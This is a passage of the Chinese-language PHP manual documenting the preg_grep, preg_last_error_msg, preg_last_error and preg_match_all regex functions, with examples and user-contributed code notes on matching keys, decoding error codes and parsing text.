参见

  • PCRE 模式
  • preg_quote() - 转义正则表达式字符
  • preg_replace() - 执行一个正则表达式的搜索和替换
  • preg_replace_callback() - 执行一个正则表达式搜索并且使用一个回调进行替换
  • preg_grep() - 返回匹配模式的数组条目
  • preg_last_error() - 返回最后一个PCRE正则执行产生的错误代码

User Contributed Notes

bienvenunet at yahoo dot com 27-Oct-2017 09:10
If you don't want to actually replace the matches, just filter the array to them, make the replacement parameter '$0'.

<?php
$subject = array('1', 'a', '2', 'b', '3', 'A', 'B', '4');
$result = preg_filter('/\d/', '$0', $subject);  // ['1','2','3','4']
?>
forsoap at gmail dot com 20-Oct-2016 01:14
For those who read manual not in English and figure out that example code returns not the same result as in documentation

You need put in example patter modifier "u" to get same result:

<?php
$subject = array('1', 'а', '2', 'б', '3', 'А', 'Б', '4');
// Added "u"
$pattern = array('/\d/u', '/[а-я]/u', '/[1а]/u');
$replace = array('А:$0', 'Б:$0', 'В:$0');
?>
fgmhhfg at gmail dot com 04-Mar-2014 10:44
As for the php 5.5.3 version, the example  turn out like:
Array
(
       [0] => A:1
       [1] => B:a
       ...
)
Anonymous 04-Mar-2014 10:36
As for the php 5.5.3 version, the example will turn out like:
Array
(
       [0]=>A:1
       [1]=>B:a
       ...
)
sajina_99 at hotmail dot de 25-Sep-2011 07:07
As I had to work with PHP5.2.X and needed preg_filter I wrote a quick and dirty workaround.

<?php
  if (!function_exists('preg_filter')) {

    function preg_filter($pattern, $replace, $subject, $limit = -1 , &$count = null) {

      if(!is_array($subject)) {
        $noArray = 1 ;
        $subject = array($subject);
      }

      $preg = preg_replace($pattern, $replace, $subject, $limit,  &$count);

      $diff = array_diff($preg, $subject);

      if($noArray == 1) $diff = implode($diff) ;

      return $diff ;

    }

  }
?>
MrBertie 31-Dec-2010 02:35
Another way to filter an array, and simply return the matching items: preg_grep!


返回匹配模式的数组条目

  • ? preg_filter
  • preg_last_error_msg ?
  • PHP Manual
  • PCRE 函数
  • 返回匹配模式的数组条目

preg_grep

(PHP 4, PHP 5, PHP 7, PHP 8)

preg_grep — 返回匹配模式的数组条目

说明

preg_grep(string $pattern, array $array, int $flags = 0): array|false

返回给定数组array中与模式pattern 匹配的元素组成的数组。

参数

pattern

要搜索的模式，字符串形式。

array

输入数组。

flags

如果设置为PREG_GREP_INVERT，这个函数返回输入数组中与 给定模式pattern 不匹配的元素组成的数组。

返回值

返回使用array中key做索引的数组。 或者在失败时返回 false。

错误／异常

如果传递的正则表达式无法正常解析，会发出 E_WARNING。

示例

Example #1 preg_grep() 示例

<?php
// 返回所有包含浮点数的元素
$fl_array = preg_grep("/^(\d+)?\.\d+$/", $array);
?>

参见

  • PCRE 模式
  • preg_quote() - 转义正则表达式字符
  • preg_match_all() - 执行一个全局正则表达式匹配
  • preg_filter() - 执行一个正则表达式搜索和替换
  • preg_last_error() - 返回最后一个PCRE正则执行产生的错误代码

User Contributed Notes

amolocaleb at gmail dot com 24-Jun-2018 08:24
This may be obvious to most experienced developers,but just in case its not,when using preg_grep to check for whitelisted items ,one must be very careful to explicitly define the regex boundaries or it will fail
<?php
$whitelist = ["home","dashboard","profile","group"];
$possibleUserInputs = ["homd","hom","ashboard","settings","group"];
foreach($possibleUserInputs as  $input)
{
     if(preg_grep("/$input/i",$whitelist)
    {
         echo $input." whitelisted";
    }else{
         echo $input." flawed";
    }

}
?>
This results in:

homd flawed
hom whitelisted
ashboard whitelisted
settings flawed
group whitelisted

I think this is because if boundaries are not explicitly defined,preg_grep looks for any instance of  the substring in the whole array and returns true if found.This is not what we want,so boundaries must be defined.

<?php
foreach($possibleUserInputs as  $input)
{
     if(preg_grep("/^$input$/i",$whitelist)
    {
         echo $input." whitelisted";
    }else{
         echo $input." flawed";
    }

}
?>
this results in:
homd flawed
hom flawed
ashboard flawed
settings flawed
group whitelisted
in_array() will also give the latter results but will require few tweaks if say,the search is to be case insensitive,which is always the case 70% of the time
Timo Klemm 15-Mar-2017 09:26
An even shorter way to run a match on the array's keys rather than the values:

<?php
function preg_grep_keys($pattern, $input, $flags = 0) {
    return array_flip( preg_grep($pattern, array_flip($input), $flags ) );
}
?>
Daniel Klein 14-Mar-2013 10:54
A shorter way to run a match on the array's keys rather than the values:

<?php
function preg_grep_keys($pattern, $input, $flags = 0) {
    return array_intersect_key($input, array_flip(preg_grep($pattern, array_keys($input), $flags)));
}
?>
keithbluhm at gmail dot com 21-Jan-2010 03:56
Run a match on the array's keys rather than the values:

<?php

function preg_grep_keys( $pattern, $input, $flags = 0 )
{
    $keys = preg_grep( $pattern, array_keys( $input ), $flags );
    $vals = array();
    foreach ( $keys as $key )
    {
        $vals[$key] = $input[$key];
    }
    return $vals;
}

?>


Returns the error message of the last PCRE regex execution

  • ? preg_grep
  • preg_last_error ?
  • PHP Manual
  • PCRE 函数
  • Returns the error message of the last PCRE regex execution

preg_last_error_msg

(PHP 8)

preg_last_error_msg — Returns the error message of the last PCRE regex execution

说明

preg_last_error_msg(): string

Returns the error message of the last PCRE regex execution.

参数

此函数没有参数。

返回值

Returns the error message on success, or "No error" if no error has occurred.

示例

Example #1 preg_last_error_msg() example

<?php

preg_match('/(?:\D+|<\d+>)*[!?]/', 'foobar foobar foobar');

if (preg_last_error() !== PREG_NO_ERROR) {
echo preg_last_error_msg();
}

?>

以上示例会输出：

Backtrack limit exhausted

参见

  • preg_last_error() - 返回最后一个PCRE正则执行产生的错误代码

User Contributed Notes

There are no user contributed notes for this page.


返回最后一个PCRE正则执行产生的错误代码

  • ? preg_last_error_msg
  • preg_match_all ?
  • PHP Manual
  • PCRE 函数
  • 返回最后一个PCRE正则执行产生的错误代码

preg_last_error

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

preg_last_error — 返回最后一个PCRE正则执行产生的错误代码

说明

preg_last_error(): int

返回最后一次PCRE正则执行的错误代码。

Example #1 preg_last_error() 示例

<?php

preg_match('/(?:\D+|<\d+>)*[!?]/', 'foobar foobar foobar');

if (preg_last_error() == PREG_BACKTRACK_LIMIT_ERROR) {
echo 'Backtrack limit was exhausted!';
}

?>

以上示例会输出：

Backtrack limit was exhausted!

参数

此函数没有参数。

返回值

返回下面常量中的一个(查看它们自身的解释):

  • PREG_NO_ERROR
  • PREG_INTERNAL_ERROR
  • PREG_BACKTRACK_LIMIT_ERROR （参见 pcre.backtrack_limit）
  • PREG_RECURSION_LIMIT_ERROR （参见 pcre.recursion_limit）
  • PREG_BAD_UTF8_ERROR
  • PREG_BAD_UTF8_OFFSET_ERROR
  • PREG_JIT_STACKLIMIT_ERROR

参见

  • preg_last_error_msg() - Returns the error message of the last PCRE regex execution

User Contributed Notes

nicoSWD 09-Oct-2020 05:43
PHP 8 has a native function to retrieve the actual error message, so these helper functions are no longer necessary.

https://www.php.net/preg_last_error_msg

<?php

preg_match('/(?:\D+|<\d+>)*[!?]/', 'foobar foobar foobar');

if (preg_last_error() !== PREG_NO_ERROR) {
    echo preg_last_error_msg(); // Prints "Backtrack limit exhausted"
}

?>
zerodahero at gmail dot com 25-Feb-2020 12:51
In PHP 7.3+, and depending on the environment, there may be other constants that aren't ints which will cause errors with array_flip. I opted to go with a RegexException and a filter on gk's note.

<?php

class RegexException extends \Exception {

    public $errorCode;

    public function __construct(
        int $errorCode,
        string $additionalMessage = null
    ) {
        $this->errorCode = $errorCode;

        $errorMessage = $this->getErrorString($errorCode) ?? 'Unknown regex error';
        $additionalMessage = $additionalMessage ? " $additionalMessage" : '';

        parent::__construct("Regex error thrown: $errorMessage." . $additionalMessage);
    }

    /**
     * Gets an error string (const name) for the PCRE error code
     *
     * @param int $errorCode
     *
     * @return string|null
     */
    private function getErrorString(int $errorCode): ?string
    {
        $pcreConstants = get_defined_constants(true)['pcre'] ?? [];

        /*
         * NOTE: preg_last_error() returns an int, but there are constants
         * in PHP 7.3+ that are strings, bools, or otherwise. We can pretty
         * safely filter out the non-integers to fetch the appropriate
         * error constant name.
         */
        $pcreConstants = array_filter($pcreConstants, function ($code) {
            return is_int($code);
        });

        $errorStrings = array_flip($pcreConstants);

        return $errorStrings[$errorCode] ?? null;
    }

Usage:

throw new RegexException(preg_last_error());
Daniel Klein 18-Aug-2019 09:37
Here is a correction to one of the previous "get error message" snippets. It filters out the non-error codes which stops "Warning:  array_flip(): Can only flip STRING and INTEGER values!" from being emitted due to ["PCRE_JIT_SUPPORT"]=>bool(true):

<?php
echo array_flip(array_filter(get_defined_constants(true)['pcre'], function ($value) {
  return substr($value, -6) === '_ERROR';
}, ARRAY_FILTER_USE_KEY))[preg_last_error()];
Vladimir Valikaev 12-Aug-2019 04:01
Getting error as text (small update):

<?php
echo array_flip(array_filter(get_defined_constants(true)['pcre'], function($v) { return is_integer($v); }))[preg_last_error()];
Anonymous 06-Aug-2019 07:59
If you use T-Regx library, to get the last constant, you can use

<?php

echo preg_last_error_constant(); // 'PREG_BAD_UTF8_ERROR'
eu at ericruiz dot com dot br 24-Feb-2017 11:03
Take it into account before use this function.

My php --version
PHP 5.6.29 (cli) (built: Dec  8 2016 09:19:46)
Copyright (c) 1997-2016 The PHP Group
Zend Engine v2.6.0, Copyright (c) 1998-2016 Zend Technologies

On Linux Fedora 23 4.8.13-100.fc23.x86_64 #1 SMP Fri Dec 9 14:51:40 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux

<?php
// @see http://stackoverflow.com/questions/4440626/how-can-i-validate-regex

// returns true because  there is no opening "(" for the closing ")"
var_dump(preg_match('~InvalidRegular)Expression~', null) === false);

// this SHOULD be something different from 0, but...
var_dump(preg_last_error());
?>
gk at anuary dot com 11-Jan-2014 02:21
In PHP 5.5 and above, getting the error message is as simple as:

<?php
echo array_flip(get_defined_constants(true)['pcre'])[preg_last_error()];
andre at koethur dot de 23-Jun-2013 09:00
Just an addition to my previous note: In unicode mode (with "u" modifier), PREG_BAD_UTF8_ERROR only reflects errors in the subject string. If the pattern itself contains invalid characters, preg_match() (or preg_match_all()) returns false but preg_last_error() returns 0 indicating PREG_NO_ERROR. Instead, php issues a warning: "preg_match(): Compilation failed: invalid UTF-8 string at offset 0"
andre at koethur dot de 18-Jun-2013 12:37
Here is a more advanced function to convert an error code to text:

<?php

function preg_errtxt($errcode)
{
    static $errtext;

    if (!isset($errtxt))
    {
        $errtext = array();
        $constants = get_defined_constants(true);
        foreach ($constants['pcre'] as $c => $n) if (preg_match('/_ERROR$/', $c)) $errtext[$n] = $c;
    }

    return array_key_exists($errcode, $errtext)? $errtext[$errcode] : NULL;
}

?>
johan at bluemoonit dot net 24-May-2010 05:20
The above function pcre_error_deocde [sic] is not correct - not all of the used constants are errors constants. For example, when the error is actually PREG_BAD_UTF8_ERROR, the function outputs the text for PREG_SPLIT_OFFSET_CAPTURE.


执行一个全局正则表达式匹配

  • ? preg_last_error
  • preg_match ?
  • PHP Manual
  • PCRE 函数
  • 执行一个全局正则表达式匹配

preg_match_all

(PHP 4, PHP 5, PHP 7, PHP 8)

preg_match_all — 执行一个全局正则表达式匹配

说明

preg_match_all(
string $pattern,
string $subject,
array &$matches = null,
int $flags = 0,
int $offset = 0
): int|false

搜索subject中所有匹配pattern给定正则表达式 的匹配结果并且将它们以flag指定顺序输出到matches中.

在第一个匹配找到后, 子序列继续从最后一次匹配位置搜索.

参数

pattern

要搜索的模式，字符串形式。

subject

输入字符串。

matches

多维数组，作为输出参数输出所有匹配结果, 数组排序通过flags指定。

flags

可以结合下面标记使用(注意不能同时使用PREG_PATTERN_ORDER和 PREG_SET_ORDER)：

PREG_PATTERN_ORDER

结果排序为$matches[0]保存完整模式的所有匹配, $matches[1] 保存第一个子组的所有匹配，以此类推。

<?php
preg_match_all("|<[^>]+>(.*)</[^>]+>|U",
"<b>example: </b><div align=left>this is a test</div>",
$out, PREG_PATTERN_ORDER);
echo $out[0][0] . ", " . $out[0][1] . "\n";
echo $out[1][0] . ", " . $out[1][1] . "\n";
?>

以上示例会输出：

<b>example: </b>, <div align=left>this is a test</div>
example: , this is a test

因此, $out[0] 是包含匹配完整模式的字符串的数组， $out[1] 是包含闭合标签内的字符串的数组。

如果正则表达式包含了带名称的子组，$matches 额外包含了带名称子组的键。

如果正则表达式里，子组名称重名了，则仅最右侧的子组储存在 $matches[NAME] 中。

<?php
preg_match_all(
'/(?J)(?<match>foo)|(?<match>bar)/',
'foo bar',
$matches,
PREG_PATTERN_ORDER
);
print_r($matches['match']);
?>

以上示例会输出：

Array
(
    [0] =>
    [1] => bar
)

PREG_SET_ORDER

结果排序为$matches[0]包含第一次匹配得到的所有匹配(包含子组)， $matches[1]是包含第二次匹配到的所有匹配(包含子组)的数组，以此类推。

<?php
preg_match_all("|<[^>]+>(.*)</[^>]+>|U",
"<b>example: </b><div align=\"left\">this is a test</div>",
$out, PREG_SET_ORDER);
echo $out[0][0] . ", " . $out[0][1] . "\n";
echo $out[1][0] . ", " . $out[1][1] . "\n";
?>

以上示例会输出：

<b>example: </b>, example:
<div align="left">this is a test</div>, this is a test

PREG_OFFSET_CAPTURE

如果这个标记被传递，每个发现的匹配返回时会增加它相对目标字符串的字节偏移量。 注意这会改变matches中的每一个匹配结果字符串元素，使其 成为一个第0个元素为匹配结果字符串，第1个元素为 匹配结果字符串在subject中的偏移量。

<?php
preg_match_all('/(foo)(bar)(baz)/', 'foobarbaz', $matches, PREG_OFFSET_CAPTURE);
print_r($matches);
?>

以上示例会输出：

Array
(
    [0] => Array
        (
            [0] => Array
                (
                    [0] => foobarbaz
                    [1] => 0
                )

        )

    [1] => Array
        (
            [0] => Array
                (
                    [0] => foo
                    [1] => 0
                )

        )

    [2] => Array
        (
            [0] => Array
                (
                    [0] => bar
                    [1] => 3
                )

        )

    [3] => Array
        (
            [0] => Array
                (
                    [0] => baz
                    [1] => 6
                )

        )

)

PREG_UNMATCHED_AS_NULL

传入此标记，未匹配的子组报告为 null；否则会是空 string。

如果没有给定排序标记，假定设置为PREG_PATTERN_ORDER。

offset

通常， 查找时从目标字符串的开始位置开始。可选参数offset用于 从目标字符串中指定位置开始搜索(单位是字节)。

Note:

使用 offset 参数不同于传递 substr($subject, $offset) 的 结果到 preg_match_all() 作为目标字符串，因为 pattern 可以包含断言比如^， $ 或者 (?<=x) 。 示例查看 preg_match()。

返回值

返回完整匹配次数（可能是 0）， 或者在失败时返回 false。

错误／异常

如果传递的正则表达式无法正常解析，会发出 E_WARNING。

更新日志

版本 | 说明
7.2.0 | 现在 $flags 参数可以支持 PREG_UNMATCHED_AS_NULL。

示例

Example #1 查找所有文本中的电话号码。

<?php
preg_match_all("/\(? (\d{3})? \)? (?(1) [\-\s] ) \d{3}-\d{4}/x",
"Call 555-1212 or 1-800-555-1212", $phones);
?>

Example #2 查找匹配的HTML标签（贪婪）

<?php
//\\2是一个后向引用的示例. 这会告诉pcre它必须匹配正则表达式中第二个圆括号(这里是([\w]+))
//匹配到的结果. 这里使用两个反斜线是因为这里使用了双引号.
$html = "<b>bold text</b><a href=howdy.html>click me</a>";

preg_match_all("/(<([\w]+)[^>]*>)(.*?)(<\/\\2>)/", $html, $matches, PREG_SET_ORDER);

foreach ($matches as $val) {
echo "matched: " . $val[0] . "\n";
echo "part 1: " . $val[1] . "\n";
echo "part 2: " . $val[2] . "\n";
echo "part 3: " . $val[3] . "\n";
echo "part 4: " . $val[4] . "\n\n";
}
?>

以上示例会输出：

matched: <b>bold text</b>
part 1: <b>
part 2: b
part 3: bold text
part 4: </b>

matched: <a href=howdy.html>click me</a>
part 1: <a href=howdy.html>
part 2: a
part 3: click me
part 4: </a>

Example #3 使用子命名组

<?php

$str = <<<FOO
a: 1
b: 2
c: 3
FOO;

preg_match_all('/(?P<name>\w+): (?P<digit>\d+)/', $str, $matches);

/* 选择方式 */
// preg_match_all('/(?<name>\w+): (?<digit>\d+)/', $str, $matches);

print_r($matches);

?>

以上示例会输出：

Array
(
    [0] => Array
        (
            [0] => a: 1
            [1] => b: 2
            [2] => c: 3
        )

    [name] => Array
        (
            [0] => a
            [1] => b
            [2] => c
        )

    [1] => Array
        (
            [0] => a
            [1] => b
            [2] => c
        )

    [digit] => Array
        (
            [0] => 1
            [1] => 2
            [2] => 3
        )

    [2] => Array
        (
            [0] => 1
            [1] => 2
            [2] => 3
        )

)

参见

  • PCRE 匹配
  • preg_quote() - 转义正则表达式字符
  • preg_match() - 执行匹配正则表达式
  • preg_replace() - 执行一个正则表达式的搜索和替换
  • preg_split() - 通过一个正则表达式分隔字符串
  • preg_last_error() - 返回最后一个PCRE正则执行产生的错误代码

User Contributed Notes

b3forgames at gmail dot com 15-Nov-2023 12:18
EXAMPLE:
$file = file_get_contents('file');
if(preg_match_all('#Task To Run(.*)#s', $file, $m)) {
var_dump($m);
}

No output...

preg_match_all  not work if file exist BOM bytes (FF FE) :

╰─$ head -n1 file | hexdump -C
00000000  ff fe 48 00 6f 00 73 00  74 00 4e 00 61 00 6d 00  |..H.o.s.t.N.a.m.|

clear BOM via dos2unix:

╰─$ dos2unix file
dos2unix: converting UTF-16LE file file to UTF-8 Unix format...

Check again:

╰─$ head -n1 file | hexdump -C
00000000  48 6f 73 74 4e 61 6d 65  3a 20 20 20 20 20 20 20  |HostName:       |

Great! Now preg_match_all works fine.
loretoparisi at gmail dot com 07-Jun-2023 12:28
A multi-byte safe preg_match_all that fixes capture offsets when using PREG_OFFSET_CAPTURE on utf-8 strings

<?php
function mb_preg_match_all($pattern, $subject, &$matches = null, $flags = 0, $offset = 0) {
    $out=preg_match_all($pattern, $subject, $matches, $flags, $offset);
    if($flags & PREG_OFFSET_CAPTURE && is_array($matches) && count($matches)>0) {
        foreach ($matches[0] as &$match) {
            $match[1] = mb_strlen(substr($subject, 0, $match[1]));
        }
    }
    return $out;
}
?>
biziclop at vipmail dot hu 06-Aug-2022 07:22
Sometimes you don't just want to cherry-pick the matches but need that the entire subject is made up from matching substrings, so every character of the subject is a member of a match. None of the existing preg_* function is easily applicable for this task, so I made the preg_match_entire() function.
It uses the (*MARK) syntax which is documented here: https://pcre.org/original/doc/html/pcrepattern.html#SEC27

<?php

// returns: the array of matches
// null if the string is not a repetition of the pattern
// false on error
function preg_match_entire( string $pattern, string $subject, int $flags = 0 ){
  // Rebuild and wrap the pattern
  $delimiter = $pattern[0];
  $ldp       = strrpos( $pattern, $delimiter );
  $pattern   = substr( $pattern, 1, $ldp - 1 );
  $modifiers = substr( $pattern,    $ldp + 1 );
  $pattern   = "{$delimiter}   \G\z (*MARK:END)   |   \G (?:{$pattern})   {$delimiter}x{$modifiers}";
  $r = preg_match_all( $pattern, $subject, $m, PREG_SET_ORDER | $flags );
  if( $r === false )  return false;  // error
  $end = array_pop( $m );
  if( $end === null || ! isset( $end['MARK']) || $end['MARK'] !== 'END')
    return null;  // end of string not reached
  return $m;  // return actual matches, may be an empty array
}

// Same results:
test('#{\d+}#', '');              // []
test('#{\d+}#', '{11}{22}{33}');  // {11},{22},{33}

// Different results: preg_match_entire won't match this:
test('#{\d+}#', '{11}{}{aa}{22},{{33}}');
// preg_match_entire: null
// preg_match_all:    {11},{22},{33}

function test( $pattern, $subject ){
  echo "pattern:           $pattern\n";
  echo "subject:           $subject\n";
  print_matches('preg_match_entire: ', preg_match_entire( $pattern, $subject ));
  preg_match_all( $pattern, $subject, $matches, PREG_SET_ORDER );
  print_matches('preg_match_all:    ', $matches );
  echo "\n";
}
function print_matches( $t, $m ){
  echo $t, is_array( $m ) && $m ? implode(',', array_column( $m, 0 )) : json_encode( $m ), "\n";
} ?>
rajudec at gmail dot com 04-Jan-2022 08:45
<?php
//Allow limited span formatting in html text

$str='<span style="text-decoration-line: underline; font-weight: bold; font-style: italic;">White</span>
<span style="text-decoration-line: underline;">RED</span><span style="color:blue">blue</span>';

function next_format($str)
{
     $array=array("text-decoration-line"=>"underline","font-weight"=>"bold","font-style"=>"italic");
    foreach ($array as $key=>$val)
    {
          if($str[1]==$key && $str[2]==$val)
        {
              return $str[1].': '.$str[2].";";
        }
     }
          return '';

}
function next_span($matches)
{
  $needFormat=preg_replace_callback('/([a-z\-]+):\s*([^;]+)(;|)/ism',"next_format",$matches[2]);
  return $matches[1].$needFormat.$matches[3];

}
 echo preg_replace_callback(
            "/(\<span\s+style\=\")([^\"]+)(\">)/ism",
            "next_span",
            $str);
?>
harrybarrow at mail dot ru 27-Aug-2021 11:50
preg_match_all() and other preg_*() functions doesn't work well with very long strings, at least longer that 1Mb.
In this case case function returns FALSE and $matchers value is unpredictable, may contain some values, may be empty.
In this case workaround is pre-split long string onto parts, for instance explode() long string by some criteria and then apply preg_match_all() on each part.
Typical scenario for this case is log analysis by regular expressions.
Tested on PHP 7.2.0
mojo 29-Jun-2021 10:47
Why <?php preg_match_all('/(?:^|\s)(ABC|XYZ)(?:\s|$)/i', 'ABC  XYZ', $match) ?> finds only 'ABC'?

Because the first full match is 'ABC ' - containing the trailing space. And that space is not available for further processing.

Use lookbehind and lookahead to solve this problem: <?php preg_match_all('/(?<=^|\s)(ABC|XYZ)(?=\s|$)/i', 'ABC XYZ', $match)  ?>
chris at ocproducts dot com 28-Dec-2020 03:43
If PREG_OFFSET_CAPTURE is set then unmatched captures (i.e. ones with '?') will not be present in the result array. This is presumably because there is no offset, and thus the original PHP dev decided best to just leave it out.
qdinar at gmail dot com 19-Apr-2018 07:28
when regex is for longer and shorter version of a string,
only one of that long and short versions is catched.
when regex match occurs in one position of string,
only one match is saved in matches[0] for that position.
if ? is used, regex is greedy, and catches more long version,
if | is used, most first matching variant is catched:
<?php
preg_match_all('/ab|abc/','abc',$m);
var_dump($m);
preg_match_all('/abc?/','abc',$m);
var_dump($m);
?>
['ab', 'abc'] in $m[0] for both can be expected, but it is not so,
actually they output [['ab']] and [['abc']]:
array(1) {
  [0]=>
  array(1) {
    [0]=>
    string(2) "ab"
  }
}
array(1) {
  [0]=>
  array(1) {
    [0]=>
    string(3) "abc"
  }
}
stamster at gmail dot com 09-Feb-2016 11:55
Be careful with this pattern match and large input buffer on preg_match_* functions.

<?php
$pattern = '/\{(?:[^{}]|(?R))*\}/';

preg_match_all($pattern, $buffer, $matches);
?>

if $buffer is 80+ KB in size, you'll end up with segfault!

[89396.588854] php[4384]: segfault at 7ffd6e2bdeb0 ip 00007fa20c8d67ed sp 00007ffd6e2bde70 error 6 in libpcre.so.3.13.1[7fa20c8c3000+3c000]

This is due to the PCRE recursion. This is a known bug in PHP since 2008, but it's source is not PHP itself but PCRE library.

Rasmus Lerdorf has the answer: https://bugs.php.net/bug.php?id=45735#1365812629

"The problem here is that there is no way to detect run-away regular expressions
here without huge performance and memory penalties. Yes, we could build PCRE in a
way that it wouldn't segfault and we could crank up the default backtrack limit
to something huge, but it would slow every regex call down by a lot. If PCRE
provided a way to handle this in a more graceful manner without the performance
hit we would of course use it."
matt at lvl99 dot com 19-Nov-2015 02:30
I had been crafting and testing some regexp patterns online using the tools Regex101 and a `preg_match_all()` tester and found that the regexp patterns I wrote worked fine on them, just not in my code.

My problem was not double-escaping backslash characters:

<?php
// Input test
$input = "\"something\",\"something here\",\"some\nnew\nlines\",\"this is the end\"";

// Work with online regexp testers, doesn't work in PHP
preg_match_all( "/(?:,|^)(?<!\\)\".*?(?<!\\)\"(?:(?=,)|$)/s", $input, $matches );

/*
Outputs: NULL
*/

// Works with online regexp testers, does work in PHP
preg_match_all( "/(?:,|^)(?<!\\\\)\".*?(?<!\\\\)\"(?:(?=,)|$)/s", $input, $matches );

/*
Outputs:
array(2) {
  [0]=>
  array(4) {
    [0]=>
    string(11) ""something""
    [1]=>
    string(17) ","something here""
    [2]=>
    string(17) ","some
new
lines""
    [3]=>
    string(18) ","this is the end""
  }
  [1]=>
  array(4) {
    [0]=>
    string(9) "something"
    [1]=>
    string(14) "something here"
    [2]=>
    string(14) "some
new
lines"
    [3]=>
    string(15) "this is the end"
  }
}
*/
?>
stas kuryan aka stafox 09-Nov-2015 08:57
Here is a awesome online regex editor https://regex101.com/
which helps you test your regular expressions (prce, js, python) with real-time highlighting of regex match on data input.
vojjov dot artem at ya dot ru 26-May-2015 03:40
// Here is function that allows you to preg_match_all array of patters

function getMatches($pattern, $subject) {
    $matches = array();

    if (is_array($pattern)) {
        foreach ($pattern as $p) {
            $m = getMatches($p, $subject);

            foreach ($m as $key => $match) {
                if (isset($matches[$key])) {
                    $matches[$key] = array_merge($matches[$key], $m[$key]);
                } else {
                    $matches[$key] = $m[$key];
                }
            }
        }
    } else {
        preg_match_all($pattern, $subject, $matches);
    }

    return $matches;
}

$patterns = array(
    '/<span>(.*?)<\/span>/',
    '/<a href=".*?">(.*?)<\/a>/'
);

$html = '<span>some text</span>';
$html .= '<span>some text in another span</span>';
$html .= '<a href="path/">here is the link</a>';
$html .= '<address>address is here</address>';
$html .= '<span>here is one more span</span>';

$matches = getMatches($patterns, $html);

print_r($matches); // result is below

/*
Array
(
    [0] => Array
        (
            [0] => <span>some text</span>
            [1] => <span>some text in another span</span>
            [2] => <span>here is one more span</span>
            [3] => <a href="path/">here is the link</a>
        )

    [1] => Array
        (
            [0] => some text
            [1] => some text in another span
            [2] => here is one more span
            [3] => here is the link
        )

)
*/
Daniel Klein 17-May-2015 05:26
The code that john at mccarthy dot net posted is not necessary. If you want your results grouped by individual match simply use:

<?
preg_match_all($pattern, $string, $matches, PREG_SET_ORDER);
?>

E.g.

<?
preg_match_all('/([GH])([12])([!?])/', 'G1? H2!', $matches); // Default PREG_PATTERN_ORDER
// $matches = array(0 => array(0 => 'G1?', 1 => 'H2!'),
//                  1 => array(0 => 'G', 1 => 'H'),
//                  2 => array(0 => '1', 1 => '2'),
//                  3 => array(0 => '?', 1 => '!'))

preg_match_all('/([GH])([12])([!?])/', 'G1? H2!', $matches, PREG_SET_ORDER);
// $matches = array(0 => array(0 => 'G1?', 1 => 'G', 2 => '1', 3 => '?'),
//                  1 => array(0 => 'H2!', 1 => 'H', 2 => '2', 3 => '!'))
?>
DarkSide 15-Apr-2014 02:03
This is very useful to combine matches:
$a = array_combine($matches[1], $matches[2]);
ajeet dot nigam at icfaitechweb dot com 22-Jan-2014 06:34
Here http://tryphpregex.com/ is a  php based online regex editor which helps you test your regular expressions with real-time highlighting of regex match on data input.
fab 24-Sep-2012 09:14
Here is a function that replaces all occurrences of a number in a string by the number--

<?php
function decremente_chaine($chaine)
    {
        //récupérer toutes les occurrences de nombres et leurs indices
        preg_match_all("/[0-9]+/",$chaine,$out,PREG_OFFSET_CAPTURE);
            //parcourir les occurrences
            for($i=0;$i<sizeof($out[0]);$i++)
            {
                $longueurnombre = strlen((string)$out[0][$i][0]);
                $taillechaine = strlen($chaine);
                // découper la chaine en 3 morceaux
                $debut = substr($chaine,0,$out[0][$i][1]);
                $milieu = ($out[0][$i][0])-1;
                $fin = substr($chaine,$out[0][$i][1]+$longueurnombre,$taillechaine);
                 // si c'est 10,100,1000 etc. on décale tout de 1 car le résultat comporte un chiffre de moins
                 if(preg_match('#[1][0]+$#', $out[0][$i][0]))
                 {
                    for($j = $i+1;$j<sizeof($out[0]);$j++)
                    {
                        $out[0][$j][1] = $out[0][$j][1] -1;
                    }
                 }
                $chaine = $debut.$milieu.$fin;
            }
        return $chaine;
    }
?>
fseverin at free dot fr 22-Sep-2012 05:52
As I intended to create for my own purpose a clean PHP class to act on XML files, combining the use of DOM and simplexml functions, I had that small problem, but very annoying, that the offsets in a path is not numbered the same in both.

That is to say, for example, if i get a DOM xpath object it appears like:
/ANODE/ANOTHERNODE/SOMENODE[9]/NODE[2]
and as a simplexml object would be equivalent to:
ANODE->ANOTHERNODE->SOMENODE[8]->NODE[1]

So u see what I mean? I used preg_match_all to solve that problem, and finally I got this after some hours of headlock (as I'm french the names of variables are in French sorry), hoping it could be useful to some of you:

<?php
function decrease_string($string)
    {
        /* retrieve all occurrences AND offsets of numbers in the original string: */

        preg_match_all("/[0-9]+/",$chaine,$out,PREG_OFFSET_CAPTURE);
            for($i=0;$i<sizeof($out[0]);$i++)
            {
                $longueurnombre = strlen((string)$out[0][$i][0]);
                $taillechaine = strlen($chaine);
                // cut the string in 3 pieces
                $debut = substr($chaine,0,$out[0][$i][1]);
                $milieu = ($out[0][$i][0])-1;
                $fin = substr($chaine,$out[0][$i][1]+$longueurnombre,$taillechaine);
                 /* if it's 10,100,1000, the problem is that the string gets shorter and it shifts all the offsets, so we have to decrease them of 1 */
                 if(preg_match('#[1][0]+$#', $out[0][$i][0]))
                 {
                    for($j = $i+1;$j<sizeof($out[0]);$j++)
                    {
                        $out[0][$j][1] = $out[0][$j][1] -1;
                    }
                 }
                $chaine = $debut.$milieu.$fin;
            }
        return $chaine;
    }
?>
marc 04-May-2012 03:48
Better use preg_replace to convert text in a clickable link with tag <a>

$html = preg_replace('"\b(http://\S+)"', '<a href="$1">$1</a>', $text);
satyavvd at ymail dot com 20-Sep-2011 04:08
Extract fields out of csv string : ( since before php5.3 you can't use str_getcsv function )
Here is the regex :

<?php

$csvData = <<<EOF
10,'20',"30","'40","'50'","\"60","70,80","09\\/18,/\"2011",'a,sdfcd'
EOF

$reg = <<<EOF
/
    (
        (
            ([\'\"])
            (
               (
                [^\'\"]
                |
                (\\\\.)
               )*
            )
            (\\3)
            |
            (
                [^,]
                |
                (\\\\.)
            )*
    ),)
    /x
EOF;

preg_match_all($reg,$csvData,$matches);

// to extract csv fields
print_r($matches[2]);
?>
john at mccarthy dot net 18-Feb-2011 11:21
I needed a function to rotate the results of a preg_match_all query, and made this. Not sure if it exists.

<?php
function turn_array($m)
{
    for ($z = 0;$z < count($m);$z++)
    {
        for ($x = 0;$x < count($m[$z]);$x++)
        {
            $rt[$x][$z] = $m[$z][$x];
        }
    }

    return $rt;
}
?>

Example - Take results of some preg_match_all query:

Array
(
    [0] => Array
        (
            [1] => Banff
            [2] => Canmore
            [3] => Invermere
        )

    [1] => Array
        (
